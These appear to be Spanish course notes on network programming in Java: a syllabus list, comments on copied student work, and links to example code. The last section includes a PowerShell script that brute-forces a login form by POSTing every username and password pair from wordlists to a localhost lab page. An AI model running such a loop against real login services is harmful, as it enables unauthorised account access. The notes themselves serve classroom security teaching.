# Programación de comunicaciones en red:
 -	Comunicación entre aplicaciones.
 -	Roles cliente y servidor.
 -	Elementos de programación de aplicaciones en red. Librerías.
 -	Sockets.
 -	Creación de sockets.
 -	Enlazado y establecimiento de conexiones.
 -	Utilización de sockets para la transmisión y recepción de información.
 -	Programación de aplicaciones cliente y servidor.
 -	Utilización de hilos en la programación de aplicaciones en red.

## Cmdlets for TCP/IP Model Layers
https://www.jesusninoc.com/11/13/cmdlets-for-tcpip-model-layers/

----------
----------

# Comentarios sobre la entrega
- Prácticas copiadas
- No se hace lo que hemos dicho
- Ideas posibles:
	- Guardar la información que da un proceso desde Java
	- Comunicar un proceso padre con hijo
	- Llamar a un programa creado en Linux
	- Crear una clase y llamarla desde Java
	- Realizar alguna automatización

-----------
-----------

# Programación de comunicaciones en red:
 -	Comunicación entre aplicaciones.
 -	Roles cliente y servidor.
 -	Elementos de programación de aplicaciones en red. Librerías.
 -	Sockets.
 -	Creación de sockets.
 -	Enlazado y establecimiento de conexiones.
 -	Utilización de sockets para la transmisión y recepción de información.
 -	Programación de aplicaciones cliente y servidor.
 -	Utilización de hilos en la programación de aplicaciones en red.

## Ejemplo clase InetAddress
https://github.com/javierinformatica/PSP/blob/master/Ejemplos/src/Red/Ejemplo1.java

## URL
### Conectar con una URL en Java
https://www.jesusninoc.com/2012/09/21/conectar-con-una-url-en-java/

## Peticiones a servidores (GET, POST, fuerza bruta)

### Introducción
```
GetPost/postindex.php
GetPost/getindex.php
GetPost/examplepost.php
GetPost/exampleget.php
JavaScript/jh.html
JavaScript/sjh.html
JavaScript/ssjh.html
UserAgent/useragentindex.php
FuerzaBruta/index.php
FuerzaBruta/postraw.php
```

### Códigos sobre fuerza bruta
* https://github.com/jesusninoc/Seguridad/tree/master/GetPost
* https://github.com/jesusninoc/Seguridad/tree/master/FuerzaBruta
* https://github.com/jesusninoc/ClasesSeguridad/blob/master/2019-02-21.md
* https://github.com/jesusninoc/ClasesSeguridad/blob/master/2019-02-25.md
* https://github.com/jesusninoc/ClasesSeguridad/blob/master/2018-01-11.md

### Realizar fuerza bruta (método POST) desde PowerShell
```PowerShell
foreach($usuario in gc .\users.txt)
{
    foreach($password in gc .\passwords.txt)
    {
        $postParams = @{'username'=$usuario;'password'=$password}
        (Invoke-WebRequest -Uri "http://localhost/seguridad/FuerzaBruta/postraw.php" -Method POST -Body $postParams).content + " " + $usuario + " " + $password
    }
}
```
